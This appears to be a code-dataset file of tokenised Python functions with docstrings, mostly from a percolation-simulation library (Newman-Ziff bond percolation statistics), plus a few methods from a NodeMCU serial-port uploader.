{"signature": "def statistics(<EOL>graph, ps, spanning_cluster=True, model='<STR_LIT>', alpha=alpha_1sigma, runs=<NUM_LIT><EOL>):", "body": "my_microcanonical_averages = microcanonical_averages(<EOL>graph=graph, runs=runs, spanning_cluster=spanning_cluster, model=model,<EOL>alpha=alpha<EOL>)<EOL>my_microcanonical_averages_arrays = microcanonical_averages_arrays(<EOL>my_microcanonical_averages<EOL>)<EOL>return canonical_averages(ps, my_microcanonical_averages_arrays)<EOL>", "docstring": "Helper function to compute percolation statistics\n\nSee Also\n--------\n\ncanonical_averages\n\nmicrocanonical_averages\n\nsample_states", "id": "f15353:m12"}
{"signature": "def bond_run(perc_graph_result, seed, ps, convolution_factors_tasks):", "body": "microcanonical_statistics = percolate.hpc.bond_microcanonical_statistics(<EOL>seed=seed, **perc_graph_result<EOL>)<EOL>canonical_statistics = np.empty(<EOL>ps.size,<EOL>dtype=percolate.hpc.canonical_statistics_dtype(<EOL>spanning_cluster=SPANNING_CLUSTER,<EOL>)<EOL>)<EOL>for row, convolution_factors_task in zip(<EOL>np.nditer(canonical_statistics, op_flags=['<STR_LIT>']),<EOL>convolution_factors_tasks,<EOL>):<EOL><INDENT>assert not convolution_factors_task.is_loaded()<EOL>convolution_factors_task.load()<EOL>my_convolution_factors = convolution_factors_task.result<EOL>row[...] = percolate.hpc.bond_canonical_statistics(<EOL>microcanonical_statistics=microcanonical_statistics,<EOL>convolution_factors=my_convolution_factors,<EOL>spanning_cluster=SPANNING_CLUSTER,<EOL>)<EOL>convolution_factors_task.unload()<EOL><DEDENT>ret = percolate.hpc.bond_initialize_canonical_averages(<EOL>canonical_statistics=canonical_statistics,<EOL>spanning_cluster=SPANNING_CLUSTER,<EOL>)<EOL>return ret<EOL>", "docstring": "Perform a single run (realization) over all microstates and return the\ncanonical cluster statistics", "id": "f15354:m2"}
{"signature": "@TaskGenerator<EOL>def bond_task(<EOL>perc_graph_result, seeds, ps, convolution_factors_tasks_iterator<EOL>):", "body": "<EOL>convolution_factors_tasks = list(convolution_factors_tasks_iterator)<EOL>return reduce(<EOL>percolate.hpc.bond_reduce,<EOL>map(<EOL>bond_run,<EOL>itertools.repeat(perc_graph_result),<EOL>seeds,<EOL>itertools.repeat(ps),<EOL>itertools.repeat(convolution_factors_tasks),<EOL>)<EOL>)<EOL>", "docstring": "Perform a number of runs\n\nThe number of runs is the number of seeds\n\nconvolution_factors_tasks_iterator needs to be an iterator\n\nWe shield the convolution factors tasks from jug value/result mechanism\nby supplying an iterator to the list of tasks for lazy evaluation\nhttp://github.com/luispedro/jug/blob/43f0d80a78f418fd3aa2b8705eaf7c4a5175fff7/jug/task.py#L100\nhttp://github.com/luispedro/jug/blob/43f0d80a78f418fd3aa2b8705eaf7c4a5175fff7/jug/task.py#L455", "id": "f15354:m3"}
{"signature": "def dummy_hash(x):", "body": "return '<STR_LIT>'.encode('<STR_LIT:utf-8>')<EOL>", "docstring": "Supplies a constant dummy hash", "id": "f15354:m5"}
{"signature": "def _ndarray_dtype(fields):", "body": "return [<EOL>(np.str_(key), values)<EOL>for key, values in fields<EOL>]<EOL>", "docstring": "Return the NumPy structured array data type\n\nHelper function", "id": "f15358:m0"}
{"signature": "def microcanonical_statistics_dtype(spanning_cluster=True):", "body": "fields = list()<EOL>fields.extend([<EOL>('<STR_LIT:n>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>])<EOL>if spanning_cluster:<EOL><INDENT>fields.extend([<EOL>('<STR_LIT>', '<STR_LIT:bool>'),<EOL>])<EOL><DEDENT>fields.extend([<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>])<EOL>return _ndarray_dtype(fields)<EOL>", "docstring": "Return the numpy structured array data type for sample states\n\nHelper function\n\nParameters\n----------\nspanning_cluster : bool, optional\n    Whether to detect a spanning cluster or not.\n    Defaults to ``True``.\n\nReturns\n-------\nret : list of pairs of str\n    A list of tuples of field names and data types to be used as ``dtype``\n    argument in numpy ndarray constructors\n\nSee Also\n--------\nhttp://docs.scipy.org/doc/numpy/user/basics.rec.html\ncanonical_statistics_dtype", "id": "f15358:m1"}
{"signature": "def bond_sample_states(<EOL>perc_graph, num_nodes, num_edges, seed, spanning_cluster=True,<EOL>auxiliary_node_attributes=None, auxiliary_edge_attributes=None,<EOL>spanning_sides=None,<EOL>**kwargs<EOL>):", "body": "<EOL>rng = np.random.RandomState(seed=seed)<EOL>if spanning_cluster:<EOL><INDENT>if len(spanning_sides) != <NUM_LIT:2>:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT><DEDENT>perc_edges = perc_graph.edges()<EOL>perm_edges = rng.permutation(num_edges)<EOL>ret = np.empty(<EOL><NUM_LIT:1>, dtype=microcanonical_statistics_dtype(spanning_cluster)<EOL>)<EOL>ret['<STR_LIT:n>'] = <NUM_LIT:0><EOL>ret['<STR_LIT>'] = <NUM_LIT:1><EOL>ret['<STR_LIT>'] = np.ones(<NUM_LIT:5>, dtype='<STR_LIT>') * (num_nodes - <NUM_LIT:1>)<EOL>if spanning_cluster:<EOL><INDENT>ret['<STR_LIT>'] = False<EOL><DEDENT>yield ret<EOL>ds = nx.utils.union_find.UnionFind()<EOL>if spanning_cluster:<EOL><INDENT>ds_spanning = nx.utils.union_find.UnionFind()<EOL>side_roots = dict()<EOL>for side in spanning_sides:<EOL><INDENT>nodes = [<EOL>node for (node, node_side) in auxiliary_node_attributes.items()<EOL>if node_side is side<EOL>]<EOL>ds_spanning.union(*nodes)<EOL>side_roots[side] = ds_spanning[nodes[<NUM_LIT:0>]]<EOL><DEDENT>for (edge, edge_side) in auxiliary_edge_attributes.items():<EOL><INDENT>ds_spanning.union(side_roots[edge_side], *edge)<EOL><DEDENT>side_roots = [<EOL>ds_spanning[side_root] for side_root in side_roots.values()<EOL>]<EOL><DEDENT>max_cluster_root = next(perc_graph.nodes_iter())<EOL>for n in range(num_edges):<EOL><INDENT>ret['<STR_LIT:n>'] += <NUM_LIT:1><EOL>edge_index = perm_edges[n]<EOL>edge = perc_edges[edge_index]<EOL>ret['<STR_LIT>'] = edge_index<EOL>roots = [<EOL>ds[node] for node in edge<EOL>]<EOL>weights = [<EOL>ds.weights[root] for root in roots<EOL>]<EOL>if roots[<NUM_LIT:0>] is not roots[<NUM_LIT:1>]:<EOL><INDENT>ds.union(*roots)<EOL>if spanning_cluster:<EOL><INDENT>ds_spanning.union(*roots)<EOL>ret['<STR_LIT>'] = (<EOL>ds_spanning[side_roots[<NUM_LIT:0>]] == ds_spanning[side_roots[<NUM_LIT:1>]]<EOL>)<EOL><DEDENT>root = ds[edge[<NUM_LIT:0>]]<EOL>weight = ds.weights[root]<EOL>for i in [<NUM_LIT:0>, <NUM_LIT:1>]:<EOL><INDENT>if roots[i] is max_cluster_root:<EOL><INDENT>continue<EOL><DEDENT>ret['<STR_LIT>'] -= weights[i] ** np.arange(<NUM_LIT:5>, dtype='<STR_LIT>')<EOL><DEDENT>if max_cluster_root in roots:<EOL><INDENT>max_cluster_root = root<EOL>ret['<STR_LIT>'] = weight<EOL><DEDENT>else:<EOL><INDENT>if ret['<STR_LIT>'] >= weight:<EOL><INDENT>ret['<STR_LIT>'] += weight ** np.arange(<NUM_LIT:5>, dtype='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>max_cluster_root = root<EOL>ret['<STR_LIT>'] += ret['<STR_LIT>'] ** np.arange(<EOL><NUM_LIT:5>, dtype='<STR_LIT>'<EOL>)<EOL>ret['<STR_LIT>'] = weight<EOL><DEDENT><DEDENT><DEDENT>yield ret<EOL><DEDENT>", "docstring": "Generate successive sample states of the bond percolation model\n\nThis is a :ref:`generator function <python:tut-generators>` to successively\nadd one edge at a time from the graph to the percolation model.\nAt each iteration, it calculates and returns the cluster statistics.\nCAUTION: it returns a reference to the internal array, not a copy.\n\nParameters\n----------\nperc_graph : networkx.Graph\n    The substrate graph on which percolation is to take place\n\nnum_nodes : int\n    Number ``N`` of sites in the graph\n\nnum_edges : int\n    Number ``M`` of bonds in the graph\n\nseed : {None, int, array_like}\n    Random seed initializing the pseudo-random number generator.\n    Piped through to `numpy.random.RandomState` constructor.\n\nspanning_cluster : bool, optional\n    Whether to detect a spanning cluster or not.\n    Defaults to ``True``.\n\nauxiliary_node_attributes : optional\n    Return value of ``networkx.get_node_attributes(graph, 'span')``\n\nauxiliary_edge_attributes : optional\n    Return value of ``networkx.get_edge_attributes(graph, 'span')``\n\nspanning_sides : list, optional\n    List of keys (attribute values) of the two sides of the auxiliary\n    nodes.\n    Return value of ``list(set(auxiliary_node_attributes.values()))``\n\nYields\n------\nret : ndarray\n    Structured array with dtype ``dtype=[('has_spanning_cluster', 'bool'),\n    ('max_cluster_size', 'uint32'), ('moments', 'int64', 5)]``\n\nret['n'] : ndarray of int\n    The number of bonds added at the particular iteration\n\nret['edge'] : ndarray of int\n    The index of the edge added at the particular iteration\n    Note that in the first step, when ``ret['n'] == 0``, this value is\n    undefined!\n\nret['has_spanning_cluster'] : ndarray of bool\n    ``True`` if there is a spanning cluster, ``False`` otherwise.\n    Only exists if `spanning_cluster` argument is set to ``True``.\n\nret['max_cluster_size'] : int\n    Size of the largest cluster (absolute number of sites)\n\nret['moments'] : 1-D :py:class:`numpy.ndarray` of int\n    Array of size ``5``.\n    The ``k``-th entry is the ``k``-th raw moment of the (absolute) cluster\n    size distribution, with ``k`` ranging from ``0`` to ``4``.\n\nRaises\n------\nValueError\n    If `spanning_cluster` is ``True``, but `graph` does not contain any\n    auxiliary nodes to detect spanning clusters.\n\nSee also\n--------\n\nnumpy.random.RandomState\n\nmicrocanonical_statistics_dtype\n\nNotes\n-----\nIterating through this generator is a single run of the Newman-Ziff\nalgorithm. [12]_\nThe first iteration yields the trivial state with :math:`n = 0` occupied\nbonds.\n\nSpanning cluster\n\n    In order to detect a spanning cluster, `graph` needs to contain\n    auxiliary nodes and edges, cf. Reference [12]_, Figure 6.\n    The auxiliary nodes and edges have the ``'span'`` `attribute\n    <http://networkx.github.io/documentation/latest/tutorial/tutorial.html#node-attributes>`_.\n    The value is either ``0`` or ``1``, distinguishing the two sides of the\n    graph to span.\n\nRaw moments of the cluster size distribution\n\n    The :math:`k`-th raw moment of the (absolute) cluster size distribution\n    is :math:`\\sum_s' s^k N_s`, where :math:`s` is the cluster size and\n    :math:`N_s` is the number of clusters of size :math:`s`. [13]_\n    The primed sum :math:`\\sum'` signifies that the largest cluster is\n    excluded from the sum. [14]_\n\nReferences\n----------\n.. [12] Newman, M. E. J. & Ziff, R. M. Fast monte carlo algorithm for site\n    or bond percolation. Physical Review E 64, 016706+ (2001),\n    `doi:10.1103/physreve.64.016706 <http://dx.doi.org/10.1103/physreve.64.016706>`_.\n\n.. [13] Stauffer, D. & Aharony, A. Introduction to Percolation Theory (Taylor &\n   Francis, London, 1994), second edn.\n\n.. [14] Binder, K. & Heermann, D. W. Monte Carlo Simulation in Statistical\n   Physics (Springer, Berlin, Heidelberg, 2010),\n   `doi:10.1007/978-3-642-03163-2 <http://dx.doi.org/10.1007/978-3-642-03163-2>`_.", "id": "f15358:m2"}
{"signature": "def bond_microcanonical_statistics(<EOL>perc_graph, num_nodes, num_edges, seed,<EOL>spanning_cluster=True,<EOL>auxiliary_node_attributes=None, auxiliary_edge_attributes=None,<EOL>spanning_sides=None,<EOL>**kwargs<EOL>):", "body": "<EOL>sample_states = bond_sample_states(<EOL>perc_graph=perc_graph,<EOL>num_nodes=num_nodes,<EOL>num_edges=num_edges,<EOL>seed=seed,<EOL>spanning_cluster=spanning_cluster,<EOL>auxiliary_node_attributes=auxiliary_node_attributes,<EOL>auxiliary_edge_attributes=auxiliary_edge_attributes,<EOL>spanning_sides=spanning_sides,<EOL>)<EOL>return np.fromiter(<EOL>sample_states,<EOL>dtype=microcanonical_statistics_dtype(spanning_cluster),<EOL>count=num_edges + <NUM_LIT:1><EOL>)<EOL>", "docstring": "Evolve a single run over all microstates (bond occupation numbers)\n\nReturn the cluster statistics for each microstate\n\nParameters\n----------\nperc_graph : networkx.Graph\n    The substrate graph on which percolation is to take place\n\nnum_nodes : int\n    Number ``N`` of sites in the graph\n\nnum_edges : int\n    Number ``M`` of bonds in the graph\n\nseed : {None, int, array_like}\n    Random seed initializing the pseudo-random number generator.\n    Piped through to `numpy.random.RandomState` constructor.\n\nspanning_cluster : bool, optional\n    Whether to detect a spanning cluster or not.\n    Defaults to ``True``.\n\nauxiliary_node_attributes : optional\n    Value of ``networkx.get_node_attributes(graph, 'span')``\n\nauxiliary_edge_attributes : optional\n    Value of ``networkx.get_edge_attributes(graph, 'span')``\n\nspanning_sides : list, optional\n    List of keys (attribute values) of the two sides of the auxiliary\n    nodes.\n    Return value of ``list(set(auxiliary_node_attributes.values()))``\n\nReturns\n-------\nret : ndarray of size ``num_edges + 1``\n    Structured array with dtype ``dtype=[('has_spanning_cluster', 'bool'),\n    ('max_cluster_size', 'uint32'), ('moments', 'uint64', 5)]``\n\nret['n'] : ndarray of int\n    The number of bonds added at the particular iteration\n\nret['edge'] : ndarray of int\n    The index of the edge added at the particular iteration.\n    Note that ``ret['edge'][0]`` is undefined!\n\nret['has_spanning_cluster'] : ndarray of bool\n    ``True`` if there is a spanning cluster, ``False`` otherwise.\n    Only exists if `spanning_cluster` argument is set to ``True``.\n\nret['max_cluster_size'] : int\n    Size of the largest cluster (absolute number of sites)\n\nret['moments'] : 2-D :py:class:`numpy.ndarray` of int\n    Array of shape ``(num_edges + 1, 5)``.\n    The ``k``-th entry is the ``k``-th raw moment of the (absolute) cluster\n    size distribution, with ``k`` ranging from ``0`` to ``4``.\n\nSee also\n--------\n\nbond_sample_states\nmicrocanonical_statistics_dtype\n\nnumpy.random.RandomState", "id": "f15358:m3"}
{"signature": "def canonical_statistics_dtype(spanning_cluster=True):", "body": "fields = list()<EOL>if spanning_cluster:<EOL><INDENT>fields.extend([<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>])<EOL><DEDENT>fields.extend([<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>])<EOL>return _ndarray_dtype(fields)<EOL>", "docstring": "The NumPy Structured Array type for canonical statistics\n\nHelper function\n\nParameters\n----------\nspanning_cluster : bool, optional\n    Whether to detect a spanning cluster or not.\n    Defaults to ``True``.\n\nReturns\n-------\nret : list of pairs of str\n    A list of tuples of field names and data types to be used as ``dtype``\n    argument in numpy ndarray constructors\n\nSee Also\n--------\nhttp://docs.scipy.org/doc/numpy/user/basics.rec.html\nmicrocanoncial_statistics_dtype\ncanonical_averages_dtype", "id": "f15358:m4"}
{"signature": "def bond_canonical_statistics(<EOL>microcanonical_statistics,<EOL>convolution_factors,<EOL>**kwargs<EOL>):", "body": "<EOL>spanning_cluster = (<EOL>'<STR_LIT>' in microcanonical_statistics.dtype.names<EOL>)<EOL>ret = np.empty(<NUM_LIT:1>, dtype=canonical_statistics_dtype(spanning_cluster))<EOL>if spanning_cluster:<EOL><INDENT>ret['<STR_LIT>'] = np.sum(<EOL>convolution_factors *<EOL>microcanonical_statistics['<STR_LIT>']<EOL>)<EOL><DEDENT>ret['<STR_LIT>'] = np.sum(<EOL>convolution_factors *<EOL>microcanonical_statistics['<STR_LIT>']<EOL>)<EOL>ret['<STR_LIT>'] = np.sum(<EOL>convolution_factors[:, np.newaxis] *<EOL>microcanonical_statistics['<STR_LIT>'],<EOL>axis=<NUM_LIT:0>,<EOL>)<EOL>return ret<EOL>", "docstring": "canonical cluster statistics for a single run and a single probability\n\nParameters\n----------\n\nmicrocanonical_statistics : ndarray\n    Return value of `bond_microcanonical_statistics`\n\nconvolution_factors : 1-D array_like\n    The coefficients of the convolution for the given probabilty ``p``\n    and for each occupation number ``n``.\n\nReturns\n-------\nret : ndarray of size ``1``\n    Structured array with dtype as returned by\n    `canonical_statistics_dtype`\n\nret['percolation_probability'] : ndarray of float\n    The \"percolation probability\" of this run at the value of ``p``.\n    Only exists if `microcanonical_statistics` argument has the\n    ``has_spanning_cluster`` field.\n\nret['max_cluster_size'] : ndarray of int\n    Weighted size of the largest cluster (absolute number of sites)\n\nret['moments'] : 1-D :py:class:`numpy.ndarray` of float\n    Array of size ``5``.\n    The ``k``-th entry is the weighted ``k``-th raw moment of the\n    (absolute) cluster size distribution, with ``k`` ranging from ``0`` to\n    ``4``.\n\nSee Also\n--------\n\nbond_microcanonical_statistics\ncanonical_statistics_dtype", "id": "f15358:m5"}
{"signature": "def canonical_averages_dtype(spanning_cluster=True):", "body": "fields = list()<EOL>fields.extend([<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>])<EOL>if spanning_cluster:<EOL><INDENT>fields.extend([<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>])<EOL><DEDENT>fields.extend([<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>])<EOL>return _ndarray_dtype(fields)<EOL>", "docstring": "The NumPy Structured Array type for canonical averages over several\nruns\n\nHelper function\n\nParameters\n----------\nspanning_cluster : bool, optional\n    Whether to detect a spanning cluster or not.\n    Defaults to ``True``.\n\nReturns\n-------\nret : list of pairs of str\n    A list of tuples of field names and data types to be used as ``dtype``\n    argument in numpy ndarray constructors\n\nSee Also\n--------\nhttp://docs.scipy.org/doc/numpy/user/basics.rec.html\ncanonical_statistics_dtype\nfinalized_canonical_averages_dtype", "id": "f15358:m6"}
{"signature": "def bond_initialize_canonical_averages(<EOL>canonical_statistics, **kwargs<EOL>):", "body": "<EOL>spanning_cluster = (<EOL>'<STR_LIT>' in canonical_statistics.dtype.names<EOL>)<EOL>ret = np.empty_like(<EOL>canonical_statistics,<EOL>dtype=canonical_averages_dtype(spanning_cluster=spanning_cluster),<EOL>)<EOL>ret['<STR_LIT>'] = <NUM_LIT:1><EOL>if spanning_cluster:<EOL><INDENT>ret['<STR_LIT>'] = (<EOL>canonical_statistics['<STR_LIT>']<EOL>)<EOL>ret['<STR_LIT>'] = <NUM_LIT:0.0><EOL><DEDENT>ret['<STR_LIT>'] = (<EOL>canonical_statistics['<STR_LIT>']<EOL>)<EOL>ret['<STR_LIT>'] = <NUM_LIT:0.0><EOL>ret['<STR_LIT>'] = canonical_statistics['<STR_LIT>']<EOL>ret['<STR_LIT>'] = <NUM_LIT:0.0><EOL>return ret<EOL>", "docstring": "Initialize the canonical averages from a single-run cluster statistics\n\nParameters\n----------\ncanonical_statistics : 1-D structured ndarray\n    Typically contains the canonical statistics for a range of values\n    of the occupation probability ``p``.\n    The dtype is the result of `canonical_statistics_dtype`.\n\nReturns\n-------\nret : structured ndarray\n    The dype is the result of `canonical_averages_dtype`.\n\nret['number_of_runs'] : 1-D ndarray of int\n    Equals ``1`` (initial run).\n\nret['percolation_probability_mean'] : 1-D array of float\n    Equals ``canonical_statistics['percolation_probability']``\n    (if ``percolation_probability`` is present)\n\nret['percolation_probability_m2'] : 1-D array of float\n    Each entry is ``0.0``\n\nret['max_cluster_size_mean'] : 1-D array of float\n    Equals ``canonical_statistics['max_cluster_size']``\n\nret['max_cluster_size_m2'] : 1-D array of float\n    Each entry is ``0.0``\n\nret['moments_mean'] : 2-D array of float\n    Equals ``canonical_statistics['moments']``\n\nret['moments_m2'] : 2-D array of float\n    Each entry is ``0.0``\n\nSee Also\n--------\ncanonical_averages_dtype\nbond_canonical_statistics", "id": "f15358:m7"}
{"signature": "def bond_reduce(row_a, row_b):", "body": "spanning_cluster = (<EOL>'<STR_LIT>' in row_a.dtype.names and<EOL>'<STR_LIT>' in row_b.dtype.names and<EOL>'<STR_LIT>' in row_a.dtype.names and<EOL>'<STR_LIT>' in row_b.dtype.names<EOL>)<EOL>ret = np.empty_like(row_a)<EOL>def _reducer(key, transpose=False):<EOL><INDENT>mean_key = '<STR_LIT>'.format(key)<EOL>m2_key = '<STR_LIT>'.format(key)<EOL>res = simoa.stats.online_variance(*[<EOL>(<EOL>row['<STR_LIT>'],<EOL>row[mean_key].T if transpose else row[mean_key],<EOL>row[m2_key].T if transpose else row[m2_key],<EOL>)<EOL>for row in [row_a, row_b]<EOL>])<EOL>(<EOL>ret[mean_key],<EOL>ret[m2_key],<EOL>) = (<EOL>res[<NUM_LIT:1>].T,<EOL>res[<NUM_LIT:2>].T,<EOL>) if transpose else res[<NUM_LIT:1>:]<EOL><DEDENT>if spanning_cluster:<EOL><INDENT>_reducer('<STR_LIT>')<EOL><DEDENT>_reducer('<STR_LIT>')<EOL>_reducer('<STR_LIT>', transpose=True)<EOL>ret['<STR_LIT>'] = row_a['<STR_LIT>'] + row_b['<STR_LIT>']<EOL>return ret<EOL>", "docstring": "Reduce the canonical averages over several runs\n\nThis is a \"true\" reducer.\nIt is associative and commutative.\n\nThis is a wrapper around `simoa.stats.online_variance`.\n\nParameters\n----------\nrow_a, row_b : structured ndarrays\n    Output of this function, or initial input from\n    `bond_initialize_canonical_averages`\n\nReturns\n-------\nret : structured ndarray\n    Array is of dtype as returned by `canonical_averages_dtype`\n\nSee Also\n--------\nbond_initialize_canonical_averages\ncanonical_averages_dtype\nsimoa.stats.online_variance", "id": "f15358:m8"}
{"signature": "def finalized_canonical_averages_dtype(spanning_cluster=True):", "body": "fields = list()<EOL>fields.extend([<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT:p>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>])<EOL>if spanning_cluster:<EOL><INDENT>fields.extend([<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>])<EOL><DEDENT>fields.extend([<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>])<EOL>return _ndarray_dtype(fields)<EOL>", "docstring": "The NumPy Structured Array type for finalized canonical averages over\nseveral runs\n\nHelper function\n\nParameters\n----------\nspanning_cluster : bool, optional\n    Whether to detect a spanning cluster or not.\n    Defaults to ``True``.\n\nReturns\n-------\nret : list of pairs of str\n    A list of tuples of field names and data types to be used as ``dtype``\n    argument in numpy ndarray constructors\n\nSee Also\n--------\nhttp://docs.scipy.org/doc/numpy/user/basics.rec.html\ncanonical_averages_dtype", "id": "f15358:m9"}
{"signature": "def finalize_canonical_averages(<EOL>number_of_nodes, ps, canonical_averages, alpha,<EOL>):", "body": "spanning_cluster = (<EOL>(<EOL>'<STR_LIT>' in<EOL>canonical_averages.dtype.names<EOL>) and<EOL>'<STR_LIT>' in canonical_averages.dtype.names<EOL>)<EOL>ret = np.empty_like(<EOL>canonical_averages,<EOL>dtype=finalized_canonical_averages_dtype(<EOL>spanning_cluster=spanning_cluster<EOL>),<EOL>)<EOL>n = canonical_averages['<STR_LIT>']<EOL>sqrt_n = np.sqrt(canonical_averages['<STR_LIT>'])<EOL>ret['<STR_LIT>'] = n<EOL>ret['<STR_LIT:p>'] = ps<EOL>ret['<STR_LIT>'] = alpha<EOL>def _transform(<EOL>original_key, final_key=None, normalize=False, transpose=False,<EOL>):<EOL><INDENT>if final_key is None:<EOL><INDENT>final_key = original_key<EOL><DEDENT>keys_mean = [<EOL>'<STR_LIT>'.format(key)<EOL>for key in [original_key, final_key]<EOL>]<EOL>keys_std = [<EOL>'<STR_LIT>'.format(original_key),<EOL>'<STR_LIT>'.format(final_key),<EOL>]<EOL>key_ci = '<STR_LIT>'.format(final_key)<EOL>ret[keys_mean[<NUM_LIT:1>]] = canonical_averages[keys_mean[<NUM_LIT:0>]]<EOL>if normalize:<EOL><INDENT>ret[keys_mean[<NUM_LIT:1>]] /= number_of_nodes<EOL><DEDENT>array = canonical_averages[keys_std[<NUM_LIT:0>]]<EOL>result = np.sqrt(<EOL>(array.T if transpose else array) / (n - <NUM_LIT:1>)<EOL>)<EOL>ret[keys_std[<NUM_LIT:1>]] = (<EOL>result.T if transpose else result<EOL>)<EOL>if normalize:<EOL><INDENT>ret[keys_std[<NUM_LIT:1>]] /= number_of_nodes<EOL><DEDENT>array = ret[keys_std[<NUM_LIT:1>]]<EOL>scale = (array.T if transpose else array) / sqrt_n<EOL>array = ret[keys_mean[<NUM_LIT:1>]]<EOL>mean = (array.T if transpose else array)<EOL>result = scipy.stats.t.interval(<EOL><NUM_LIT:1> - alpha,<EOL>df=n - <NUM_LIT:1>,<EOL>loc=mean,<EOL>scale=scale,<EOL>)<EOL>(<EOL>ret[key_ci][..., <NUM_LIT:0>], ret[key_ci][..., <NUM_LIT:1>]<EOL>) = ([my_array.T for my_array in result] if transpose else result)<EOL><DEDENT>if spanning_cluster:<EOL><INDENT>_transform('<STR_LIT>')<EOL><DEDENT>_transform('<STR_LIT>', '<STR_LIT>', normalize=True)<EOL>_transform('<STR_LIT>', normalize=True, transpose=True)<EOL>return ret<EOL>", "docstring": "Finalize canonical averages", "id": "f15358:m10"}
{"signature": "def full_suite():", "body": "logging.basicConfig(filename='<STR_LIT>', level=logging.INFO,<EOL>format='<STR_LIT>')<EOL>from .misc import MiscTestCase<EOL>from . import uploader<EOL>miscsuite = unittest.TestLoader().loadTestsFromTestCase(MiscTestCase)<EOL>uploadersuite = unittest.TestLoader().loadTestsFromModule(uploader)<EOL>return unittest.TestSuite([miscsuite, uploadersuite])<EOL>", "docstring": "creates a full suite of tests", "id": "f15362:m1"}
{"signature": "def terminal(port=default_port(), baud='<STR_LIT>'):", "body": "testargs = ['<STR_LIT>', port, baud]<EOL>sys.argv = testargs<EOL>miniterm.main()<EOL>", "docstring": "Launch minterm from pyserial", "id": "f15364:m0"}
{"signature": "def __set_baudrate(self, baud):", "body": "log.info('<STR_LIT>', baud)<EOL>self.__writeln(UART_SETUP.format(baud=baud))<EOL>time.sleep(<NUM_LIT:0.1>)<EOL>try:<EOL><INDENT>self._port.setBaudrate(baud)<EOL><DEDENT>except AttributeError:<EOL><INDENT>self._port.baudrate = baud<EOL><DEDENT>", "docstring": "setting baudrate if supported", "id": "f15366:c0:m1"}
{"signature": "def set_timeout(self, timeout):", "body": "timeout = int(timeout) <EOL>self._timeout = timeout == <NUM_LIT:0> and <NUM_LIT> or timeout<EOL>", "docstring": "Set the timeout for the communication with the device.", "id": "f15366:c0:m2"}
{"signature": "def __clear_buffers(self):", "body": "try:<EOL><INDENT>self._port.reset_input_buffer()<EOL>self._port.reset_output_buffer()<EOL><DEDENT>except AttributeError:<EOL><INDENT>self._port.flushInput()<EOL>self._port.flushOutput()<EOL><DEDENT>", "docstring": "Clears the input and output buffers", "id": "f15366:c0:m3"}
{"signature": "def __expect(self, exp='<STR_LIT>', timeout=None):", "body": "timeout_before = self._port.timeout<EOL>timeout = timeout or self._timeout<EOL>if SYSTEM != '<STR_LIT>':<EOL><INDENT>if self._port.timeout != MINIMAL_TIMEOUT:<EOL><INDENT>self._port.timeout = MINIMAL_TIMEOUT<EOL><DEDENT><DEDENT>end = time.time() + timeout<EOL>data = '<STR_LIT>'<EOL>while not data.endswith(exp) and time.time() <= end:<EOL><INDENT>data += self._port.read()<EOL><DEDENT>log.debug('<STR_LIT>'.format(data))<EOL>if time.time() > end:<EOL><INDENT>raise CommunicationTimeout('<STR_LIT>', data)<EOL><DEDENT>if not data.endswith(exp) and len(exp) > <NUM_LIT:0>:<EOL><INDENT>raise BadResponseException('<STR_LIT>', exp, data)<EOL><DEDENT>if SYSTEM != '<STR_LIT>':<EOL><INDENT>self._port.timeout = timeout_before<EOL><DEDENT>return data<EOL>", "docstring": "will wait for exp to be returned from nodemcu or timeout", "id": "f15366:c0:m4"}
{"signature": "def __write(self, output, binary=False):", "body": "if not binary:<EOL><INDENT>log.debug('<STR_LIT>', output)<EOL><DEDENT>else:<EOL><INDENT>log.debug('<STR_LIT>', hexify(output))<EOL><DEDENT>self._port.write(output)<EOL>self._port.flush()<EOL>", "docstring": "write data on the nodemcu port. If 'binary' is True the debug log\n        will show the intended output as hex, otherwise as string", "id": "f15366:c0:m5"}
{"signature": "def __writeln(self, output):", "body": "self.__write(output + '<STR_LIT:\\n>')<EOL>", "docstring": "write, with linefeed", "id": "f15366:c0:m6"}
{"signature": "def __exchange(self, output, timeout=None):", "body": "self.__writeln(output)<EOL>self._port.flush()<EOL>return self.__expect(timeout=timeout or self._timeout)<EOL>", "docstring": "Write output to the port and wait for response", "id": "f15366:c0:m7"}
{"signature": "def close(self):", "body": "try:<EOL><INDENT>if self.baud != self.start_baud:<EOL><INDENT>self.__set_baudrate(self.start_baud)<EOL><DEDENT>self._port.flush()<EOL>self.__clear_buffers()<EOL><DEDENT>except serial.serialutil.SerialException:<EOL><INDENT>pass<EOL><DEDENT>log.debug('<STR_LIT>')<EOL>self._port.close()<EOL>", "docstring": "restores the nodemcu to default baudrate and then closes the port", "id": "f15366:c0:m8"}
